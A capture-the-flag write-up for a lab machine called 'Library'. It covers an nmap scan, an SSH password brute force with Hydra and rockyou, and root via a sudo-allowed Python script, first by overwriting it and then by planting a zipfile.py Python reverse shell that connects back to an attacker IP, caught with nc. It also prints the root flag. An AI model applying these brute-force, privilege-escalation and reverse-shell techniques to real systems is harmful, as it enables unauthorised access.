Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
└─$ nmap -sC -sV -oA nmap/library 10.10.157.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-27 11:55 EST
Nmap scan report for 10.10.157.19
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
| 256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_ 256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to Blog - Library Machine
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.15 seconds
|
So, there are 2 ports that are open. ssh and http. It doesnot seem to contain CVE in apache version for remote code execution.
Next, I tried to get directories using gobuster
and tried to find subdomain using ffuf
, but nothing showed interesting results.
user flag
There are 2 things that is giving some hints. Firstly, in comments of the blog, it seems to have the usernames i.e. root
, www-data
, meliodas
, and Anonymous
. Moreover, in robots.txt
there is a word rockyou
. So maybe I thought bruteforce SSH using hydra?
Voila, we got the password for SSH.
1
2
3
4
|
└─$ hydra -L names.txt -P /usr/share/wordlists/rockyou.txt 10.10.157.19 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
...
[22][ssh] host: 10.10.157.19 login: meliodas password: iloveyou1
|
root flag
Upon doing sudo -l
we found there is a file which we can use as sudo.
1
2
3
4
5
6
|
meliodas@ubuntu:~$ sudo -l
Matching Defaults entries for meliodas on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User meliodas may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
|
This is the content of the file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
meliodas@ubuntu:~$ cat bak.py
#!/usr/bin/env python
import os
import zipfile
def zipdir(path, ziph):
for root, dirs, files in os.walk(path):
for file in files:
ziph.write(os.path.join(root, file))
if __name__ == '__main__':
zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
zipdir('/var/www/html', zipf)
zipf.close()
|
Here is the file structure.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
meliodas@ubuntu:~$ ls -al
total 40
drwxr-xr-x 4 meliodas meliodas 4096 Aug 24 2019 .
drwxr-xr-x 3 root root 4096 Aug 23 2019 ..
-rw-r--r-- 1 root root 353 Aug 23 2019 bak.py
-rw------- 1 root root 44 Aug 23 2019 .bash_history
-rw-r--r-- 1 meliodas meliodas 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 meliodas meliodas 3771 Aug 23 2019 .bashrc
drwx------ 2 meliodas meliodas 4096 Aug 23 2019 .cache
drwxrwxr-x 2 meliodas meliodas 4096 Aug 23 2019 .nano
-rw-r--r-- 1 meliodas meliodas 655 Aug 23 2019 .profile
-rw-r--r-- 1 meliodas meliodas 0 Aug 23 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 meliodas meliodas 33 Aug 23 2019 user.txt
|
Simple Solution is to remove the bak.py
file and create new file and write shell there to and run it as sudo
to get the root.
1
2
3
4
5
6
|
meliodas@ubuntu:~$ mv bak.py bak.py.bk
meliodas@ubuntu:~$ vi bak.py
meliodas@ubuntu:~$ echo 'import pty; pty.spawn("/bin/bash")' > bak.py
meliodas@ubuntu:~$ sudo python /home/meliodas/bak.py
root@ubuntu:~# cat /root/root.txt
e8c8c6c256c35515d1d344ee0488c617
|
root flag - Method #2
echo $PATH
- it is using meliodas
directory in the path, so we can create our rev shell in place of the library which is using in the program like zipfile
.
More detailed explanation for Python-Library-Hijacking - https://www.hackingarticles.in/linux-privilege-escalation-python-library-hijacking/
1
2
|
meliodas@ubuntu:~$ echo $PATH
/home/meliodas/bin:/home/meliodas/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
|
On server
1
2
3
4
5
6
7
|
meliodas@ubuntu:~$ vi zipfile.py
meliodas@ubuntu:~$ cat zipfile.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.95.227",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
meliodas@ubuntu:~$ ls
bak.py user.txt zipfile.py zipfile.pyc
meliodas@ubuntu:~$ sudo python3 /home/meliodas/bak.py
<active shell connection>
|
On Client
1
2
3
4
5
6
7
8
9
10
11
12
13
|
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.95.227] from (UNKNOWN) [10.10.157.19] 50962
# whoami
root
# ls
bak.py
__pycache__
user.txt
zipfile.py
zipfile.pyc
# cat /root/root.txt
e8c8c6c256c35515d1d344ee0488c617
|